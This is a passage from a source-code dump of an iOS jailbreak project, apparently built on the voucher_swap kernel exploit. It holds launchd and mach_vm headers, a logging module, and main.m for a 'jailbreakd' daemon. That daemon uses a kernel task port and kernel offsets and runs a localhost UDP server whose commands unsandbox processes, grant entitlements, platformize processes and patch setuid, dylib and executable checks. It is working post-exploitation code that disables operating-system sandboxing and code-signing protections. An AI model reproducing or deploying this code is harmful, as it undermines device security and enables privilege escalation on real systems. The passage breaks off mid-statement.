LAUNCH_JOBKEY_WORKINGDIRECTORY "WorkingDirectory" 61 | #define LAUNCH_JOBKEY_ENVIRONMENTVARIABLES "EnvironmentVariables" 62 | #define LAUNCH_JOBKEY_USERENVIRONMENTVARIABLES "UserEnvironmentVariables" 63 | #define LAUNCH_JOBKEY_UMASK "Umask" 64 | #define LAUNCH_JOBKEY_NICE "Nice" 65 | #define LAUNCH_JOBKEY_HOPEFULLYEXITSFIRST "HopefullyExitsFirst" 66 | #define LAUNCH_JOBKEY_HOPEFULLYEXITSLAST "HopefullyExitsLast" 67 | #define LAUNCH_JOBKEY_LOWPRIORITYIO "LowPriorityIO" 68 | #define LAUNCH_JOBKEY_LOWPRIORITYBACKGROUNDIO "LowPriorityBackgroundIO" 69 | #define LAUNCH_JOBKEY_SESSIONCREATE "SessionCreate" 70 | #define LAUNCH_JOBKEY_STARTONMOUNT "StartOnMount" 71 | #define LAUNCH_JOBKEY_SOFTRESOURCELIMITS "SoftResourceLimits" 72 | #define LAUNCH_JOBKEY_HARDRESOURCELIMITS "HardResourceLimits" 73 | #define LAUNCH_JOBKEY_STANDARDINPATH "StandardInPath" 74 | #define LAUNCH_JOBKEY_STANDARDOUTPATH "StandardOutPath" 75 | #define LAUNCH_JOBKEY_STANDARDERRORPATH "StandardErrorPath" 76 | #define LAUNCH_JOBKEY_DEBUG "Debug" 77 | #define LAUNCH_JOBKEY_WAITFORDEBUGGER "WaitForDebugger" 78 | #define LAUNCH_JOBKEY_QUEUEDIRECTORIES "QueueDirectories" 79 | #define LAUNCH_JOBKEY_WATCHPATHS "WatchPaths" 80 | #define LAUNCH_JOBKEY_STARTINTERVAL "StartInterval" 81 | #define LAUNCH_JOBKEY_STARTCALENDARINTERVAL "StartCalendarInterval" 82 | #define LAUNCH_JOBKEY_BONJOURFDS "BonjourFDs" 83 | #define LAUNCH_JOBKEY_LASTEXITSTATUS "LastExitStatus" 84 | #define LAUNCH_JOBKEY_PID "PID" 85 | #define LAUNCH_JOBKEY_THROTTLEINTERVAL "ThrottleInterval" 86 | #define LAUNCH_JOBKEY_LAUNCHONLYONCE "LaunchOnlyOnce" 87 | #define LAUNCH_JOBKEY_ABANDONPROCESSGROUP "AbandonProcessGroup" 88 | #define LAUNCH_JOBKEY_IGNOREPROCESSGROUPATSHUTDOWN \ 89 | "IgnoreProcessGroupAtShutdown" 90 | #define LAUNCH_JOBKEY_LEGACYTIMERS "LegacyTimers" 91 | #define LAUNCH_JOBKEY_ENABLEPRESSUREDEXIT "EnablePressuredExit" 92 | #define LAUNCH_JOBKEY_DRAINMESSAGESONFAILEDINIT "DrainMessagesOnFailedInit" 93 | 94 | #define LAUNCH_JOBKEY_POLICIES "Policies" 95 | #define LAUNCH_JOBKEY_ENABLETRANSACTIONS "EnableTransactions" 96 | 97 | #define LAUNCH_JOBPOLICY_DENYCREATINGOTHERJOBS "DenyCreatingOtherJobs" 98 | 99 | #define LAUNCH_JOBINETDCOMPATIBILITY_WAIT "Wait" 100 | #define LAUNCH_JOBINETDCOMPATIBILITY_INSTANCES "Instances" 101 | 102 | #define LAUNCH_JOBKEY_MACH_RESETATCLOSE "ResetAtClose" 103 | #define LAUNCH_JOBKEY_MACH_HIDEUNTILCHECKIN "HideUntilCheckIn" 104 | #define LAUNCH_JOBKEY_MACH_DRAINMESSAGESONCRASH "DrainMessagesOnCrash" 105 | #define LAUNCH_JOBKEY_MACH_PINGEVENTUPDATES "PingEventUpdates" 106 | 107 | #define LAUNCH_JOBKEY_KEEPALIVE_SUCCESSFULEXIT "SuccessfulExit" 108 | #define LAUNCH_JOBKEY_KEEPALIVE_NETWORKSTATE "NetworkState" 109 | #define LAUNCH_JOBKEY_KEEPALIVE_PATHSTATE "PathState" 110 | #define LAUNCH_JOBKEY_KEEPALIVE_OTHERJOBACTIVE "OtherJobActive" 111 | #define LAUNCH_JOBKEY_KEEPALIVE_OTHERJOBENABLED "OtherJobEnabled" 112 | #define LAUNCH_JOBKEY_KEEPALIVE_AFTERINITIALDEMAND "AfterInitialDemand" 113 | #define LAUNCH_JOBKEY_KEEPALIVE_CRASHED "Crashed" 114 | 115 | #define LAUNCH_JOBKEY_LAUNCHEVENTS "LaunchEvents" 116 | 117 | #define LAUNCH_JOBKEY_CAL_MINUTE "Minute" 118 | #define LAUNCH_JOBKEY_CAL_HOUR "Hour" 119 | #define LAUNCH_JOBKEY_CAL_DAY "Day" 120 | #define LAUNCH_JOBKEY_CAL_WEEKDAY "Weekday" 121 | #define LAUNCH_JOBKEY_CAL_MONTH "Month" 122 | 123 | #define LAUNCH_JOBKEY_RESOURCELIMIT_CORE "Core" 124 | #define LAUNCH_JOBKEY_RESOURCELIMIT_CPU "CPU" 125 | #define LAUNCH_JOBKEY_RESOURCELIMIT_DATA "Data" 126 | #define LAUNCH_JOBKEY_RESOURCELIMIT_FSIZE "FileSize" 127 | #define LAUNCH_JOBKEY_RESOURCELIMIT_MEMLOCK "MemoryLock" 128 | #define LAUNCH_JOBKEY_RESOURCELIMIT_NOFILE "NumberOfFiles" 129 | #define LAUNCH_JOBKEY_RESOURCELIMIT_NPROC "NumberOfProcesses" 130 | #define LAUNCH_JOBKEY_RESOURCELIMIT_RSS "ResidentSetSize" 131 | #define LAUNCH_JOBKEY_RESOURCELIMIT_STACK "Stack" 132 | 133 | #define LAUNCH_JOBKEY_DISABLED_MACHINETYPE "MachineType" 134 | #define LAUNCH_JOBKEY_DISABLED_MODELNAME "ModelName" 135 | 136 | #define LAUNCH_JOBSOCKETKEY_TYPE "SockType" 137 | #define LAUNCH_JOBSOCKETKEY_PASSIVE "SockPassive" 138 | #define LAUNCH_JOBSOCKETKEY_BONJOUR "Bonjour" 139 | #define LAUNCH_JOBSOCKETKEY_SECUREWITHKEY "SecureSocketWithKey" 140 | #define LAUNCH_JOBSOCKETKEY_PATHNAME "SockPathName" 141 | #define LAUNCH_JOBSOCKETKEY_PATHMODE "SockPathMode" 142 | #define LAUNCH_JOBSOCKETKEY_PATHOWNER "SockPathOwner" 143 | #define LAUNCH_JOBSOCKETKEY_PATHGROUP "SockPathGroup" 144 | #define LAUNCH_JOBSOCKETKEY_NODENAME "SockNodeName" 145 | #define LAUNCH_JOBSOCKETKEY_SERVICENAME "SockServiceName" 146 | #define LAUNCH_JOBSOCKETKEY_FAMILY "SockFamily" 147 | #define LAUNCH_JOBSOCKETKEY_PROTOCOL "SockProtocol" 148 | #define LAUNCH_JOBSOCKETKEY_MULTICASTGROUP "MulticastGroup" 149 | 150 | #define LAUNCH_JOBKEY_PROCESSTYPE "ProcessType" 151 | #define LAUNCH_KEY_PROCESSTYPE_APP "App" 152 | #define LAUNCH_KEY_PROCESSTYPE_STANDARD "Standard" 153 | #define LAUNCH_KEY_PROCESSTYPE_BACKGROUND "Background" 154 | #define LAUNCH_KEY_PROCESSTYPE_INTERACTIVE "Interactive" 155 | #define LAUNCH_KEY_PROCESSTYPE_ADAPTIVE "Adaptive" 156 | 157 | /*! 158 | * @function launch_activate_socket 159 | * 160 | * @abstract 161 | * Retrieves the file descriptors for sockets specified in the process' 162 | * launchd.plist(5). 163 | * 164 | * @param name 165 | * The name of the socket entry in the service's Sockets dictionary. 166 | * 167 | * @param fds 168 | * On return, this parameter will be populated with an array of file 169 | * descriptors. One socket can have many descriptors associated with it 170 | * depending on the characteristics of the network interfaces on the system. 171 | * The descriptors in this array are the results of calling getaddrinfo(3) with 172 | * the parameters described in launchd.plist(5). 173 | * 174 | * The caller is responsible for calling free(3) on the returned pointer. 175 | * 176 | * @param cnt 177 | * The number of file descriptor entries in the returned array. 178 | * 179 | * @result 180 | * On success, zero is returned. Otherwise, an appropriate POSIX-domain is 181 | * returned. Possible error codes are: 182 | * 183 | * ENOENT -> There was no socket of the specified name owned by the caller. 184 | * ESRCH -> The caller is not a process managed by launchd. 185 | * EALREADY -> The socket has already been activated by the caller. 186 | */ 187 | __OSX_AVAILABLE_STARTING(__MAC_10_10, __IPHONE_8_0) 188 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 OS_NONNULL2 OS_NONNULL3 189 | int 190 | launch_activate_socket(const char *name, 191 | int * _Nonnull * _Nullable fds, size_t *cnt); 192 | 193 | typedef struct _launch_data *launch_data_t; 194 | typedef void (*launch_data_dict_iterator_t)(const launch_data_t lval, 195 | const char *key, void * _Nullable ctx); 196 | 197 | typedef enum { 198 | LAUNCH_DATA_DICTIONARY = 1, 199 | LAUNCH_DATA_ARRAY, 200 | LAUNCH_DATA_FD, 201 | LAUNCH_DATA_INTEGER, 202 | LAUNCH_DATA_REAL, 203 | LAUNCH_DATA_BOOL, 204 | LAUNCH_DATA_STRING, 205 | LAUNCH_DATA_OPAQUE, 206 | LAUNCH_DATA_ERRNO, 207 | LAUNCH_DATA_MACHPORT, 208 | } launch_data_type_t; 209 | 210 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 211 | OS_EXPORT OS_MALLOC OS_WARN_RESULT 212 | launch_data_t 213 | launch_data_alloc(launch_data_type_t type); 214 | 215 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 216 | OS_EXPORT OS_MALLOC OS_WARN_RESULT OS_NONNULL1 217 | launch_data_t 218 | launch_data_copy(launch_data_t ld); 219 | 220 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 221 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 222 | launch_data_type_t 223 | launch_data_get_type(const launch_data_t ld); 224 | 225 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 226 | OS_EXPORT OS_NONNULL1 227 | void 228 | launch_data_free(launch_data_t ld); 229 | 230 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 231 | OS_EXPORT OS_NONNULL1 OS_NONNULL2 OS_NONNULL3 232 | bool 233 | launch_data_dict_insert(launch_data_t ldict, const launch_data_t lval, 234 | const char *key); 235 | 236 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 237 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 OS_NONNULL2 238 | launch_data_t _Nullable 239 | launch_data_dict_lookup(const launch_data_t ldict, const char *key); 240 | 241 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 242 | OS_EXPORT OS_NONNULL1 OS_NONNULL2 243 | bool 244 | launch_data_dict_remove(launch_data_t ldict, const char *key); 245 | 246 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 247 | OS_EXPORT OS_NONNULL1 OS_NONNULL2 248 | void 249 | launch_data_dict_iterate(const launch_data_t ldict, 250 | launch_data_dict_iterator_t iterator, void * _Nullable ctx); 251 | 252 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 253 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 254 | size_t 255 | launch_data_dict_get_count(const launch_data_t ldict); 256 | 257 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 258 | OS_EXPORT OS_NONNULL1 OS_NONNULL2 259 | bool 260 | launch_data_array_set_index(launch_data_t larray, const launch_data_t lval, 261 | size_t idx); 262 | 263 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 264 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 265 | launch_data_t 266 | launch_data_array_get_index(const launch_data_t larray, size_t idx); 267 | 268 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 269 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 270 | size_t 271 | launch_data_array_get_count(const launch_data_t larray); 272 | 273 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 274 | OS_EXPORT OS_MALLOC OS_WARN_RESULT 275 | launch_data_t 276 | launch_data_new_fd(int fd); 277 | 278 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 279 | OS_EXPORT OS_MALLOC OS_WARN_RESULT 280 | launch_data_t 281 | launch_data_new_machport(mach_port_t val); 282 | 283 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 284 | OS_EXPORT OS_MALLOC OS_WARN_RESULT 285 | launch_data_t 286 | launch_data_new_integer(long long val); 287 | 288 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 289 | OS_EXPORT OS_MALLOC OS_WARN_RESULT 290 | launch_data_t 291 | launch_data_new_bool(bool val); 292 | 293 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 294 | OS_EXPORT OS_MALLOC OS_WARN_RESULT 295 | launch_data_t 296 | launch_data_new_real(double val); 297 | 298 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 299 | OS_EXPORT OS_MALLOC OS_WARN_RESULT 300 | launch_data_t 301 | launch_data_new_string(const char *val); 302 | 303 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 304 | OS_EXPORT OS_MALLOC OS_WARN_RESULT 305 | launch_data_t 306 | launch_data_new_opaque(const void *bytes, size_t sz); 307 | 308 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 309 | OS_EXPORT OS_NONNULL1 310 | bool 311 | launch_data_set_fd(launch_data_t ld, int fd); 312 | 313 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 314 | OS_EXPORT OS_NONNULL1 315 | bool 316 | launch_data_set_machport(launch_data_t ld, mach_port_t mp); 317 | 318 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 319 | OS_EXPORT OS_NONNULL1 320 | bool 321 | launch_data_set_integer(launch_data_t ld, long long val); 322 | 323 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 324 | OS_EXPORT OS_NONNULL1 325 | bool 326 | launch_data_set_bool(launch_data_t ld, bool val); 327 | 328 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 329 | OS_EXPORT OS_NONNULL1 330 | bool 331 | launch_data_set_real(launch_data_t ld, double val); 332 | 333 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 334 | OS_EXPORT OS_NONNULL1 335 | bool 336 | launch_data_set_string(launch_data_t ld, const char *val); 337 | 338 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 339 | OS_EXPORT OS_NONNULL1 340 | bool 341 | launch_data_set_opaque(launch_data_t ld, const void *bytes, size_t sz); 342 | 343 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 344 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 345 | int 346 | launch_data_get_fd(const launch_data_t ld); 347 | 348 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 349 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 350 | mach_port_t 351 | launch_data_get_machport(const launch_data_t ld); 352 | 353 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 354 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 355 | long long 356 | launch_data_get_integer(const launch_data_t ld); 357 | 358 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 359 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 360 | bool 361 | launch_data_get_bool(const launch_data_t ld); 362 | 363 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 364 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 365 | double 366 | launch_data_get_real(const launch_data_t ld); 367 | 368 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 369 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 370 | const char * 371 | launch_data_get_string(const launch_data_t ld); 372 | 373 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 374 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 375 | void * 376 | launch_data_get_opaque(const launch_data_t ld); 377 | 378 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 379 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 380 | size_t 381 | launch_data_get_opaque_size(const launch_data_t ld); 382 | 383 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 384 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 385 | int 386 | launch_data_get_errno(const launch_data_t ld); 387 | 388 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 389 | OS_EXPORT OS_WARN_RESULT 390 | int 391 | launch_get_fd(void); 392 | 393 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0) 394 | OS_EXPORT OS_MALLOC OS_WARN_RESULT OS_NONNULL1 395 | launch_data_t 396 | launch_msg(const launch_data_t request); 397 | 398 | __END_DECLS 399 | #if __has_feature(assume_nonnull) 400 | _Pragma("clang assume_nonnull end") 401 | #endif 402 | 403 | #endif // __XPC_LAUNCH_H__ 404 | -------------------------------------------------------------------------------- /log.c: -------------------------------------------------------------------------------- 1 | /* 2 | * log.c 3 | * Brandon Azad 4 | */ 5 | #include "log.h" 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | void 12 | log_internal(char type, const char *format, ...) { 13 | if (log_implementation != NULL) { 14 | va_list ap; 15 | va_start(ap, format); 16 | log_implementation(type, format, ap); 17 | va_end(ap); 18 | } 19 | } 20 | 21 | // The default logging implementation prints to stderr with a nice hacker prefix. 22 | static void 23 | log_stderr(char type, const char *format, va_list ap) { 24 | char *message = NULL; 25 | vasprintf(&message, format, ap); 26 | assert(message != NULL); 27 | switch (type) { 28 | case 'D': type = 'D'; break; 29 | case 'I': type = '+'; break; 30 | case 'W': type = '!'; break; 31 | case 'E': type = '-'; break; 32 | } 33 | fprintf(stderr, "[%c] %s\n", type, message); 34 | free(message); 35 | } 36 | 37 | void (*log_implementation)(char type, const char *format, va_list ap) = log_stderr; 38 | -------------------------------------------------------------------------------- /log.h: -------------------------------------------------------------------------------- 1 | /* 2 | * log.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__LOG_H_ 6 | #define VOUCHER_SWAP__LOG_H_ 7 | 8 | #include 9 | #include 10 | 11 | /* 12 | * log_implementation 13 | * 14 | * Description: 15 | * This is the log handler that will be executed when code wants to log a message. The default 16 | * implementation logs the message to stderr. Setting this value to NULL will disable all 17 | * logging. Specify a custom log handler to process log messages in another way. 18 | * 19 | * Parameters: 20 | * type A character representing the type of message that is being 21 | * logged. 22 | * format A printf-style format string describing the error message. 23 | * ap The variadic argument list for the format string. 24 | * 25 | * Log Type: 26 | * The type parameter is one of: 27 | * - D: Debug: Used for debugging messages. Set the DEBUG build variable to control debug 28 | * verbosity. 29 | * - I: Info: Used to convey general information about the exploit or its progress. 30 | * - W: Warning: Used to indicate that an unusual but possibly recoverable condition was 31 | * encountered. 32 | * - E: Error: Used to indicate that an unrecoverable error was encountered. The code 33 | * might continue running after an error was encountered, but it probably will 34 | * not succeed. 35 | */ 36 | extern void (*log_implementation)(char type, const char *format, va_list ap); 37 | 38 | #define DEBUG_LEVEL(level) (DEBUG && level <= DEBUG) 39 | 40 | #if DEBUG 41 | #define DEBUG_TRACE(level, fmt, ...) \ 42 | do { \ 43 | if (DEBUG_LEVEL(level)) { \ 44 | log_internal('D', fmt, ##__VA_ARGS__); \ 45 | } \ 46 | } while (0) 47 | #else 48 | #define DEBUG_TRACE(level, fmt, ...) do {} while (0) 49 | #endif 50 | #define INFO(fmt, ...) log_internal('I', fmt, ##__VA_ARGS__) 51 | #define WARNING(fmt, ...) log_internal('W', fmt, ##__VA_ARGS__) 52 | #define ERROR(fmt, ...) log_internal('E', fmt, ##__VA_ARGS__) 53 | 54 | // A function to call the logging implementation. 55 | void log_internal(char type, const char *format, ...) __printflike(2, 3); 56 | 57 | #endif 58 | -------------------------------------------------------------------------------- /mach_vm.h: -------------------------------------------------------------------------------- 1 | /* 2 | * mach_vm.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__MACH_VM_H_ 6 | #define VOUCHER_SWAP__MACH_VM_H_ 7 | 8 | #include 9 | 10 | extern 11 | kern_return_t mach_vm_allocate 12 | ( 13 | vm_map_t target, 14 | mach_vm_address_t *address, 15 | mach_vm_size_t size, 16 | int flags 17 | ); 18 | 19 | extern 20 | kern_return_t mach_vm_deallocate 21 | ( 22 | vm_map_t target, 23 | mach_vm_address_t address, 24 | mach_vm_size_t size 25 | ); 26 | 27 | extern 28 | kern_return_t mach_vm_write 29 | ( 30 | vm_map_t target_task, 31 | mach_vm_address_t address, 32 | vm_offset_t data, 33 | mach_msg_type_number_t dataCnt 34 | ); 35 | 36 | extern 37 | kern_return_t mach_vm_read_overwrite 38 | ( 39 | vm_map_t target_task, 40 | mach_vm_address_t address, 41 | mach_vm_size_t size, 42 | mach_vm_address_t data, 43 | mach_vm_size_t *outsize 44 | ); 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /main.m: -------------------------------------------------------------------------------- 1 | #import 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "patchfinder64.h" 14 | #include "kern_utils.h" 15 | #include "kmem.h" 16 | #include "kexecute.h" 17 | #include "kernel_call.h" 18 | #include "parameters.h" 19 | #include "kernel_memory.h" 20 | #include "offsets.h" 21 | 22 | #define PROC_PIDPATHINFO_MAXSIZE (4*MAXPATHLEN) 23 | int proc_pidpath(pid_t pid, void *buffer, uint32_t buffersize); 24 | 25 | #define JAILBREAKD_COMMAND_ENTITLE 1 26 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT 2 27 | #define JAILBREAKD_COMMAND_ENTITLE_PLATFORMIZE 3 28 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_AFTER_DELAY 4 29 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY 5 30 | #define JAILBREAKD_COMMAND_FIXUP_SETUID 6 31 | #define JAILBREAKD_COMMAND_UNSANDBOX 7 32 | #define JAILBREAKD_COMMAND_FIXUP_DYLIB 8 33 | #define JAILBREAKD_COMMAND_FIXUP_EXECUTABLE 9 34 | #define JAILBREAKD_COMMAND_EXIT 13 35 | 36 | struct __attribute__((__packed__)) JAILBREAKD_PACKET { 37 | uint8_t Command; 38 | }; 39 | 40 | struct __attribute__((__packed__)) JAILBREAKD_ENTITLE_PID { 41 | uint8_t Command; 42 | int32_t Pid; 43 | }; 44 | 45 | struct __attribute__((__packed__)) JAILBREAKD_ENTITLE_PID_AND_SIGCONT { 46 | uint8_t Command; 47 | int32_t Pid; 48 | }; 49 | 50 | struct __attribute__((__packed__)) JAILBREAKD_FIXUP_SETUID { 51 | uint8_t Command; 52 | int32_t Pid; 53 | }; 54 | 55 | struct __attribute__((__packed__)) JAILBREAKD_UNSANDBOX { 56 | uint8_t Command; 57 | int32_t Pid; 58 | }; 59 | 60 | struct __attribute__((__packed__)) JAILBREAKD_FIXUP_DYLIB { 61 | uint8_t Command; 62 | char dylib[1024]; 63 | }; 64 | 65 | struct __attribute__((__packed__)) JAILBREAKD_FIXUP_EXECUTABLE { 66 | uint8_t Command; 67 | char exec[1024]; 68 | }; 69 | 70 | struct __attribute__((__packed__)) JAILBREAKD_ENTITLE_PLATFORMIZE_PID { 71 | uint8_t Command; 72 | int32_t EntitlePID; 73 | int32_t PlatformizePID; 74 | }; 75 | 76 | mach_port_t tfpzero; 77 | uint64_t kernel_base; 78 | uint64_t kernel_slide; 79 | struct offsets off; 80 | 81 | extern unsigned offsetof_ip_kobject; 82 | 83 | int runserver(){ 84 | NSLog(@"[jailbreakd] Process Start!"); 85 | 86 | kern_return_t err = host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 4, &tfpzero); 87 | if (err != KERN_SUCCESS) { 88 | NSLog(@"host_get_special_port 4: %s", mach_error_string(err)); 89 | return 5; 90 | } 91 | 92 | bzero(&off, sizeof(struct offsets)); 93 | 94 | if(getOffsetsFromFile("/var/containers/Bundle/tweaksupport/offsets.data", &off)) { 95 | NSLog(@"[jailbreakd] Failed to get offsets!"); 96 | exit(-1); 97 | } 98 | 99 | // Get the slide 100 | kernel_base = off.kernel_base; 101 | kernel_slide = kernel_base - 0xFFFFFFF007004000; 102 | NSLog(@"[jailbreakd] slide: 0x%016llx", kernel_slide); 103 | 104 | // init_kexecute(); 105 | 106 | parameters_init(); 107 | 108 | kernel_call_init(); 109 | 110 | struct sockaddr_in serveraddr; /* server's addr */ 111 | struct sockaddr_in clientaddr; /* client addr */ 112 | 113 | NSLog(@"[jailbreakd] Running server..."); 114 | int sockfd = socket(AF_INET, SOCK_DGRAM, 0); 115 | if (sockfd < 0) 116 | NSLog(@"[jailbreakd] Error opening socket"); 117 | int optval = 1; 118 | setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (const void *)&optval, sizeof(int)); 119 | 120 | struct hostent *server; 121 | char *hostname = "127.0.0.1"; 122 | /* gethostbyname: get the server's DNS entry */ 123 | server = gethostbyname(hostname); 124 | if (server == NULL) { 125 | NSLog(@"[jailbreakd] ERROR, no such host as %s", hostname); 126 | exit(0); 127 | } 128 | 129 | bzero((char *) &serveraddr, sizeof(serveraddr)); 130 | serveraddr.sin_family = AF_INET; 131 | //serveraddr.sin_addr.s_addr = htonl(INADDR_ANY); 132 | bcopy((char *)server->h_addr, 133 | (char *)&serveraddr.sin_addr.s_addr, server->h_length); 134 | serveraddr.sin_port = htons((unsigned short)5); 135 | 136 | if (bind(sockfd, (struct sockaddr *)&serveraddr, sizeof(serveraddr)) < 0){ 137 | NSLog(@"[jailbreakd] Error binding..."); 138 | // term_kexecute(); 139 | kernel_call_deinit(); 140 | exit(-1); 141 | } 142 | NSLog(@"[jailbreakd] Server running!"); 143 | 144 | unlink("/var/tmp/jailbreakd.pid"); 145 | 146 | FILE *f = fopen("/var/tmp/jailbreakd.pid", "w"); 147 | fprintf(f, "%d\n", getpid()); 148 | fclose(f); 149 | 150 | char buf[2000]; 151 | 152 | socklen_t clientlen = sizeof(clientaddr); 153 | while (1){ 154 | bzero(buf, 2000); 155 | int size = recvfrom(sockfd, buf, 2000, 0, (struct sockaddr *)&clientaddr, &clientlen); 156 | if (size < 0){ 157 | NSLog(@"Error in recvfrom"); 158 | continue; 159 | } 160 | if (size < 1){ 161 | NSLog(@"Packet must have at least 1 byte"); 162 | continue; 163 | } 164 | NSLog(@"Server received %d bytes.", size); 165 | 166 | uint8_t command = buf[0]; 167 | 168 | NSLog(@"Command: %ul\n", command); 169 | 170 | if (command == JAILBREAKD_COMMAND_UNSANDBOX){ 171 | if (size < sizeof(struct JAILBREAKD_UNSANDBOX)){ 172 | NSLog(@"Error: ENTITLE packet is too small"); 173 | continue; 174 | } 175 | struct JAILBREAKD_UNSANDBOX *entitlePacket = (struct JAILBREAKD_UNSANDBOX *)buf; 176 | NSLog(@"Unsandboxing PID %d", entitlePacket->Pid); 177 | unsandbox(entitlePacket->Pid); 178 | } 179 | 180 | else if (command == JAILBREAKD_COMMAND_ENTITLE){ 181 | if (size < sizeof(struct JAILBREAKD_ENTITLE_PID)){ 182 | NSLog(@"Error: ENTITLE packet is too small"); 183 | continue; 184 | } 185 | struct JAILBREAKD_ENTITLE_PID *entitlePacket = (struct JAILBREAKD_ENTITLE_PID *)buf; 186 | NSLog(@"Entitle PID %d", entitlePacket->Pid); 187 | setcsflagsandplatformize(entitlePacket->Pid); 188 | } 189 | 190 | else if (command == JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT){ 191 | if (size < sizeof(struct 